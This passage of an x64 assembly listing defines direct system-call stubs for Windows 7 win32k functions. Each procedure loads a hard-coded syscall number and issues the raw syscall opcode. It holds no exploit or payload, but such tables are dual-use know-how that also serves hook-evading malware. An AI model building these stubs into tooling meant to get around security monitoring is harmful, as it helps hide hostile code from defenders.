arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtUserCalcMenuBar PROC STDCALL mov r10 , rcx mov eax , 4247 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserCalcMenuBar ENDP ; ULONG64 __stdcall NtUserThunkedMenuItemInfo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_1_7600_sp0_windows_7_NtUserThunkedMenuItemInfo PROC STDCALL mov r10 , rcx mov eax , 4248 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserThunkedMenuItemInfo ENDP ; ULONG64 __stdcall NtGdiExcludeClipRect( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtGdiExcludeClipRect PROC STDCALL mov r10 , rcx mov eax , 4249 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiExcludeClipRect ENDP ; ULONG64 __stdcall NtGdiCreateDIBSection( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 ); _6_1_7600_sp0_windows_7_NtGdiCreateDIBSection PROC STDCALL mov r10 , rcx mov eax , 4250 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiCreateDIBSection ENDP ; ULONG64 __stdcall NtGdiGetDCforBitmap( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiGetDCforBitmap PROC STDCALL mov r10 , rcx mov eax , 4251 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetDCforBitmap ENDP ; ULONG64 __stdcall NtUserDestroyCursor( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserDestroyCursor PROC STDCALL mov r10 , rcx mov eax , 4252 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserDestroyCursor ENDP ; ULONG64 __stdcall NtUserDestroyWindow( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserDestroyWindow PROC STDCALL mov r10 , rcx mov eax , 4253 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserDestroyWindow ENDP ; ULONG64 __stdcall NtUserCallHwndParam( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserCallHwndParam PROC STDCALL mov r10 , rcx mov eax , 4254 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserCallHwndParam ENDP ; ULONG64 __stdcall NtGdiCreateDIBitmapInternal( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 ); _6_1_7600_sp0_windows_7_NtGdiCreateDIBitmapInternal PROC STDCALL mov r10 , rcx mov eax , 4255 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiCreateDIBitmapInternal ENDP ; ULONG64 __stdcall NtUserOpenWindowStation( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserOpenWindowStation PROC STDCALL mov r10 , rcx mov eax , 4256 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserOpenWindowStation ENDP ; ULONG64 __stdcall NtGdiDdDeleteSurfaceObject( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiDdDeleteSurfaceObject PROC STDCALL mov r10 , rcx mov eax , 4257 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDeleteSurfaceObject ENDP ; ULONG64 __stdcall NtGdiDdCanCreateSurface( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDdCanCreateSurface PROC STDCALL mov r10 , rcx mov eax , 4258 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdCanCreateSurface ENDP ; ULONG64 __stdcall NtGdiDdCreateSurface( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 ); _6_1_7600_sp0_windows_7_NtGdiDdCreateSurface PROC STDCALL mov r10 , rcx mov eax , 4259 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdCreateSurface ENDP ; ULONG64 __stdcall NtUserSetCursorIconData( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserSetCursorIconData PROC STDCALL mov r10 , rcx mov eax , 4260 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetCursorIconData ENDP ; ULONG64 __stdcall NtGdiDdDestroySurface( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDdDestroySurface PROC STDCALL mov r10 , rcx mov eax , 4261 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdDestroySurface ENDP ; ULONG64 __stdcall NtUserCloseDesktop( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserCloseDesktop PROC STDCALL mov r10 , rcx mov eax , 4262 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserCloseDesktop ENDP ; ULONG64 __stdcall NtUserOpenDesktop( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserOpenDesktop PROC STDCALL mov r10 , rcx mov eax , 4263 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserOpenDesktop ENDP ; ULONG64 __stdcall NtUserSetProcessWindowStation( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserSetProcessWindowStation PROC STDCALL mov r10 , rcx mov eax , 4264 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetProcessWindowStation ENDP ; ULONG64 __stdcall NtUserGetAtomName( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserGetAtomName PROC STDCALL mov r10 , rcx mov eax , 4265 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetAtomName ENDP ; ULONG64 __stdcall NtGdiDdResetVisrgn( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDdResetVisrgn PROC STDCALL mov r10 , rcx mov eax , 4266 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdResetVisrgn ENDP ; ULONG64 __stdcall NtGdiExtCreatePen( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 ); _6_1_7600_sp0_windows_7_NtGdiExtCreatePen PROC STDCALL mov r10 , rcx mov eax , 4267 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiExtCreatePen ENDP ; ULONG64 __stdcall NtGdiCreatePaletteInternal( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiCreatePaletteInternal PROC STDCALL mov r10 , rcx mov eax , 4268 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiCreatePaletteInternal ENDP ; ULONG64 __stdcall NtGdiSetBrushOrg( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtGdiSetBrushOrg PROC STDCALL mov r10 , rcx mov eax , 4269 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiSetBrushOrg ENDP ; ULONG64 __stdcall NtUserBuildNameList( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserBuildNameList PROC STDCALL mov r10 , rcx mov eax , 4270 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserBuildNameList ENDP ; ULONG64 __stdcall NtGdiSetPixel( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtGdiSetPixel PROC STDCALL mov r10 , rcx mov eax , 4271 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiSetPixel ENDP ; ULONG64 __stdcall NtUserRegisterClassExWOW( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 ); _6_1_7600_sp0_windows_7_NtUserRegisterClassExWOW PROC STDCALL mov r10 , rcx mov eax , 4272 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserRegisterClassExWOW ENDP ; ULONG64 __stdcall NtGdiCreatePatternBrushInternal( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiCreatePatternBrushInternal PROC STDCALL mov r10 , rcx mov eax , 4273 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiCreatePatternBrushInternal ENDP ; ULONG64 __stdcall NtUserGetAncestor( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserGetAncestor PROC STDCALL mov r10 , rcx mov eax , 4274 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetAncestor ENDP ; ULONG64 __stdcall NtGdiGetOutlineTextMetricsInternalW( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtGdiGetOutlineTextMetricsInternalW PROC STDCALL mov r10 , rcx mov eax , 4275 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetOutlineTextMetricsInternalW ENDP ; ULONG64 __stdcall NtGdiSetBitmapBits( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiSetBitmapBits PROC STDCALL mov r10 , rcx mov eax , 4276 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiSetBitmapBits ENDP ; ULONG64 __stdcall NtUserCloseWindowStation( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserCloseWindowStation PROC STDCALL mov r10 , rcx mov eax , 4277 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserCloseWindowStation ENDP ; ULONG64 __stdcall NtUserGetDoubleClickTime( ); _6_1_7600_sp0_windows_7_NtUserGetDoubleClickTime PROC STDCALL mov r10 , rcx mov eax , 4278 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetDoubleClickTime ENDP ; ULONG64 __stdcall NtUserEnableScrollBar( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserEnableScrollBar PROC STDCALL mov r10 , rcx mov eax , 4279 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserEnableScrollBar ENDP ; ULONG64 __stdcall NtGdiCreateSolidBrush( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiCreateSolidBrush PROC STDCALL mov r10 , rcx mov eax , 4280 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiCreateSolidBrush ENDP ; ULONG64 __stdcall NtUserGetClassInfoEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtUserGetClassInfoEx PROC STDCALL mov r10 , rcx mov eax , 4281 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetClassInfoEx ENDP ; ULONG64 __stdcall NtGdiCreateClientObj( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiCreateClientObj PROC STDCALL mov r10 , rcx mov eax , 4282 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiCreateClientObj ENDP ; ULONG64 __stdcall NtUserUnregisterClass( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserUnregisterClass PROC STDCALL mov r10 , rcx mov eax , 4283 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserUnregisterClass ENDP ; ULONG64 __stdcall NtUserDeleteMenu( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserDeleteMenu PROC STDCALL mov r10 , rcx mov eax , 4284 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserDeleteMenu ENDP ; ULONG64 __stdcall NtGdiRectInRegion( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiRectInRegion PROC STDCALL mov r10 , rcx mov eax , 4285 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiRectInRegion ENDP ; ULONG64 __stdcall NtUserScrollWindowEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 ); _6_1_7600_sp0_windows_7_NtUserScrollWindowEx PROC STDCALL mov r10 , rcx mov eax , 4286 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserScrollWindowEx ENDP ; ULONG64 __stdcall NtGdiGetPixel( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiGetPixel PROC STDCALL mov r10 , rcx mov eax , 4287 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetPixel ENDP ; ULONG64 __stdcall NtUserSetClassLong( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserSetClassLong PROC STDCALL mov r10 , rcx mov eax , 4288 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetClassLong ENDP ; ULONG64 __stdcall NtUserGetMenuBarInfo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserGetMenuBarInfo PROC STDCALL mov r10 , rcx mov eax , 4289 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetMenuBarInfo ENDP ; ULONG64 __stdcall NtGdiDdCreateSurfaceEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiDdCreateSurfaceEx PROC STDCALL mov r10 , rcx mov eax , 4290 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdCreateSurfaceEx ENDP ; ULONG64 __stdcall NtGdiDdCreateSurfaceObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_1_7600_sp0_windows_7_NtGdiDdCreateSurfaceObject PROC STDCALL mov r10 , rcx mov eax , 4291 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdCreateSurfaceObject ENDP ; ULONG64 __stdcall NtGdiGetNearestPaletteIndex( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiGetNearestPaletteIndex PROC STDCALL mov r10 , rcx mov eax , 4292 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetNearestPaletteIndex ENDP ; ULONG64 __stdcall NtGdiDdLockD3D( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDdLockD3D PROC STDCALL mov r10 , rcx mov eax , 4293 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdLockD3D ENDP ; ULONG64 __stdcall NtGdiDdUnlockD3D( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiDdUnlockD3D PROC STDCALL mov r10 , rcx mov eax , 4294 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiDdUnlockD3D ENDP ; ULONG64 __stdcall NtGdiGetCharWidthW( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_1_7600_sp0_windows_7_NtGdiGetCharWidthW PROC STDCALL mov r10 , rcx mov eax , 4295 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetCharWidthW ENDP ; ULONG64 __stdcall NtUserInvalidateRgn( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserInvalidateRgn PROC STDCALL mov r10 , rcx mov eax , 4296 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserInvalidateRgn ENDP ; ULONG64 __stdcall NtUserGetClipboardOwner( ); _6_1_7600_sp0_windows_7_NtUserGetClipboardOwner PROC STDCALL mov r10 , rcx mov eax , 4297 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetClipboardOwner ENDP ; ULONG64 __stdcall NtUserSetWindowRgn( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserSetWindowRgn PROC STDCALL mov r10 , rcx mov eax , 4298 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetWindowRgn ENDP ; ULONG64 __stdcall NtUserBitBltSysBmp( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 ); _6_1_7600_sp0_windows_7_NtUserBitBltSysBmp PROC STDCALL mov r10 , rcx mov eax , 4299 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserBitBltSysBmp ENDP ; ULONG64 __stdcall NtGdiGetCharWidthInfo( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiGetCharWidthInfo PROC STDCALL mov r10 , rcx mov eax , 4300 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetCharWidthInfo ENDP ; ULONG64 __stdcall NtUserValidateRect( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserValidateRect PROC STDCALL mov r10 , rcx mov eax , 4301 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserValidateRect ENDP ; ULONG64 __stdcall NtUserCloseClipboard( ); _6_1_7600_sp0_windows_7_NtUserCloseClipboard PROC STDCALL mov r10 , rcx mov eax , 4302 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserCloseClipboard ENDP ; ULONG64 __stdcall NtUserOpenClipboard( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserOpenClipboard PROC STDCALL mov r10 , rcx mov eax , 4303 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserOpenClipboard ENDP ; ULONG64 __stdcall NtGdiGetStockObject( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiGetStockObject PROC STDCALL mov r10 , rcx mov eax , 4304 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetStockObject ENDP ; ULONG64 __stdcall NtUserSetClipboardData( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserSetClipboardData PROC STDCALL mov r10 , rcx mov eax , 4305 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetClipboardData ENDP ; ULONG64 __stdcall NtUserEnableMenuItem( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserEnableMenuItem PROC STDCALL mov r10 , rcx mov eax , 4306 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserEnableMenuItem ENDP ; ULONG64 __stdcall NtUserAlterWindowStyle( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserAlterWindowStyle PROC STDCALL mov r10 , rcx mov eax , 4307 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserAlterWindowStyle ENDP ; ULONG64 __stdcall NtGdiFillRgn( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiFillRgn PROC STDCALL mov r10 , rcx mov eax , 4308 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiFillRgn ENDP ; ULONG64 __stdcall NtUserGetWindowPlacement( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserGetWindowPlacement PROC STDCALL mov r10 , rcx mov eax , 4309 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetWindowPlacement ENDP ; ULONG64 __stdcall NtGdiModifyWorldTransform( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiModifyWorldTransform PROC STDCALL mov r10 , rcx mov eax , 4310 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiModifyWorldTransform ENDP ; ULONG64 __stdcall NtGdiGetFontData( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtGdiGetFontData PROC STDCALL mov r10 , rcx mov eax , 4311 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetFontData ENDP ; ULONG64 __stdcall NtUserGetOpenClipboardWindow( ); _6_1_7600_sp0_windows_7_NtUserGetOpenClipboardWindow PROC STDCALL mov r10 , rcx mov eax , 4312 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetOpenClipboardWindow ENDP ; ULONG64 __stdcall NtUserSetThreadState( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserSetThreadState PROC STDCALL mov r10 , rcx mov eax , 4313 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetThreadState ENDP ; ULONG64 __stdcall NtGdiOpenDCW( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 ); _6_1_7600_sp0_windows_7_NtGdiOpenDCW PROC STDCALL mov r10 , rcx mov eax , 4314 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiOpenDCW ENDP ; ULONG64 __stdcall NtUserTrackMouseEvent( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserTrackMouseEvent PROC STDCALL mov r10 , rcx mov eax , 4315 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserTrackMouseEvent ENDP ; ULONG64 __stdcall NtGdiGetTransform( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiGetTransform PROC STDCALL mov r10 , rcx mov eax , 4316 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetTransform ENDP ; ULONG64 __stdcall NtUserDestroyMenu( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserDestroyMenu PROC STDCALL mov r10 , rcx mov eax , 4317 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserDestroyMenu ENDP ; ULONG64 __stdcall NtGdiGetBitmapBits( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiGetBitmapBits PROC STDCALL mov r10 , rcx mov eax , 4318 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetBitmapBits ENDP ; ULONG64 __stdcall NtUserConsoleControl( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserConsoleControl PROC STDCALL mov r10 , rcx mov eax , 4319 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserConsoleControl ENDP ; ULONG64 __stdcall NtUserSetActiveWindow( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtUserSetActiveWindow PROC STDCALL mov r10 , rcx mov eax , 4320 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetActiveWindow ENDP ; ULONG64 __stdcall NtUserSetInformationThread( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserSetInformationThread PROC STDCALL mov r10 , rcx mov eax , 4321 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetInformationThread ENDP ; ULONG64 __stdcall NtUserSetWindowPlacement( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtUserSetWindowPlacement PROC STDCALL mov r10 , rcx mov eax , 4322 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetWindowPlacement ENDP ; ULONG64 __stdcall NtUserGetControlColor( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserGetControlColor PROC STDCALL mov r10 , rcx mov eax , 4323 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetControlColor ENDP ; ULONG64 __stdcall NtGdiSetMetaRgn( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiSetMetaRgn PROC STDCALL mov r10 , rcx mov eax , 4324 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiSetMetaRgn ENDP ; ULONG64 __stdcall NtGdiSetMiterLimit( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtGdiSetMiterLimit PROC STDCALL mov r10 , rcx mov eax , 4325 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiSetMiterLimit ENDP ; ULONG64 __stdcall NtGdiSetVirtualResolution( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_1_7600_sp0_windows_7_NtGdiSetVirtualResolution PROC STDCALL mov r10 , rcx mov eax , 4326 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiSetVirtualResolution ENDP ; ULONG64 __stdcall NtGdiGetRasterizerCaps( ULONG64 arg_01 , ULONG64 arg_02 ); _6_1_7600_sp0_windows_7_NtGdiGetRasterizerCaps PROC STDCALL mov r10 , rcx mov eax , 4327 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiGetRasterizerCaps ENDP ; ULONG64 __stdcall NtUserSetWindowWord( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserSetWindowWord PROC STDCALL mov r10 , rcx mov eax , 4328 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserSetWindowWord ENDP ; ULONG64 __stdcall NtUserGetClipboardFormatName( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserGetClipboardFormatName PROC STDCALL mov r10 , rcx mov eax , 4329 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserGetClipboardFormatName ENDP ; ULONG64 __stdcall NtUserRealInternalGetMessage( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_1_7600_sp0_windows_7_NtUserRealInternalGetMessage PROC STDCALL mov r10 , rcx mov eax , 4330 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserRealInternalGetMessage ENDP ; ULONG64 __stdcall NtUserCreateLocalMemHandle( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_1_7600_sp0_windows_7_NtUserCreateLocalMemHandle PROC STDCALL mov r10 , rcx mov eax , 4331 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserCreateLocalMemHandle ENDP ; ULONG64 __stdcall NtUserAttachThreadInput( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_1_7600_sp0_windows_7_NtUserAttachThreadInput PROC STDCALL mov r10 , rcx mov eax , 4332 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtUserAttachThreadInput ENDP ; ULONG64 __stdcall NtGdiCreateHalftonePalette( ULONG64 arg_01 ); _6_1_7600_sp0_windows_7_NtGdiCreateHalftonePalette PROC STDCALL mov r10 , rcx mov eax , 4333 ;syscall db 0Fh , 05h ret _6_1_7600_sp0_windows_7_NtGdiCreateHalftonePalette ENDP ; ULONG64 __stdcall 